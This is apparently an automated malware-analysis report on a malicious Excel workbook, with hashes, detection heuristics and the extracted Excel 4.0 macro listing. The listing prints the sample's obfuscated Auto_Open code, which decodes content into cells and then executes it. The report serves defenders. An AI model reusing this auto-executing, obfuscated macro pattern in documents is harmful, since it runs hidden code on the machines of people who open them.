Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 78d9b1b32e8f4b0d…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:43:09 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 625772a6223184ad3254b0df37db0d52 SHA-1: 352b167f469efc5f70e4c7bad0a4ad5e6735b5fe SHA-256: 78d9b1b32e8f4b0d9c295e259fb8912a193db895f34e487ae4f920e67807a615
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6662 bytes
SHA-256: e4116542846c27bb88d13042ccab8d930a1599b44cabe6e6624d7a8e7878eb73
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SULHwERtOc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I157 
' 0018     22 LABEL : Cell Value, String Constant - cBAjlis len=0 
' 0018     21 LABEL : Cell Value, String Constant - CwgRGb len=0 
' 0018     25 LABEL : Cell Value, String Constant - ddFBIyVSZb len=0 
' 0018     24 LABEL : Cell Value, String Constant - eBiwUxJDl len=0 
' 0018     24 LABEL : Cell Value, String Constant - gWcaogwfJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - htxsvBm len=0 
' 0018     23 LABEL : Cell Value, String Constant - JXwCJxWB len=0 
' 0018     20 LABEL : Cell Value, String Constant - PvVTR len=0 
' 0018     26 LABEL : Cell Value, String Constant - pZQurgrMogj len=0 
' 0018     21 LABEL : Cell Value, String Constant - qeZITp len=0 
' 0018     26 LABEL : Cell Value, String Constant - qPfuvHGPzDa len=0 
' 0018     22 LABEL : Cell Value, String Constant - reczAem len=0 
' 0018     27 LABEL : Cell Value, String Constant - sQJVxxadoNRM len=0 
' 0018     23 LABEL : Cell Value, String Constant - SvtOEJpW len=0 
' 0018     26 LABEL : Cell Value, String Constant - TtfxRITeVSl len=0 
' 0018     21 LABEL : Cell Value, String Constant - ttGdJn len=0 
' 0018     24 LABEL : Cell Value, String Constant - vAECfZkMR len=0 
' 0018     23 LABEL : Cell Value, String Constant - VzgKICzC len=0 
' 0018     27 LABEL : Cell Value, String Constant - YRQGnaHGZQgT len=0 
' 0018     23 LABEL : Cell Value, String Constant - yyDemaYN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SULHwERtOc,I61,"SET.NAME("qeZITp",VALUE("0"))",""
'  SULHwERtOc,I63,"SET.NAME("sQJVxxadoNRM",qeZITp)",""
'  SULHwERtOc,I68,"SET.NAME("vAECfZkMR",qeZITp)",""
'  SULHwERtOc,I71,"SET.NAME("VzgKICzC",COUNTA(CwgRGb))",""
'  SULHwERtOc,I73,"SET.NAME("pZQurgrMogj",COUNTA(qPfuvHGPzDa))",""
'  SULHwERtOc,I77,[],""
'  SULHwERtOc,I82,"SET.NAME("SvtOEJpW","")",""
'  SULHwERtOc,I86,"sQJVxxadoNRM",""
'  SULHwERtOc,I88,"SET.NAME("YRQGnaHGZQgT",HLOOKUP("*",CwgRGb,sQJVxxadoNRM,FALSE))",""
'  SULHwERtOc,I92,"ddFBIyVSZb",""
'  SULHwERtOc,I97,"SET.NAME("PvVTR",qeZITp)",""
'  SULHwERtOc,I101,[],""
'  SULHwERtOc,I103,"PvVTR",""
'  SULHwERtOc,I106,"yyDemaYN",""
'  SULHwERtOc,I110,"ttGdJn",""
'  SULHwERtOc,I112,"TtfxRITeVSl",""
'  SULHwERtOc,I117,"SET.NAME("JXwCJxWB",VALUE(HLOOKUP("*",qPfuvHGPzDa,TtfxRITeVSl,FALSE)))",""
'  SULHwERtOc,I121,"gWcaogwfJ",""
'  SULHwERtOc,I126,"SvtOEJpW",""
'  SULHwERtOc,I129,"vAECfZkMR",""
'  SULHwERtOc,I134,NEXT(),""
'  SULHwERtOc,I136,"htxsvBm",""
'  SULHwERtOc,I140,"SET.NAME("f",INT(T(FORMULA(T(SvtOEJpW)&"",""&T(htxsvBm)))))",""
'  SULHwERtOc,I143,"eBiwUxJDl",""
'  SULHwERtOc,I147,NEXT(),""
'  SULHwERtOc,I152,RETURN(),""
'  SULHwERtOc,I179,"SET.NAME("reczAem",I61)",""
'  SULHwERtOc,I184,"CwgRGb",""
'  SULHwERtOc,I189,"SET.NAME("qPfuvHGPzDa",R50C14)",""
'  SULHwERtOc,I191,"SET.NAME("eBiwUxJDl",201)",""
'  SULHwERtOc,I196,"SET.NAME("cBAjlis",9)",""
'  SULHwERtOc,I200,reczAem(),""
'  SULHwERtOc,I201,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.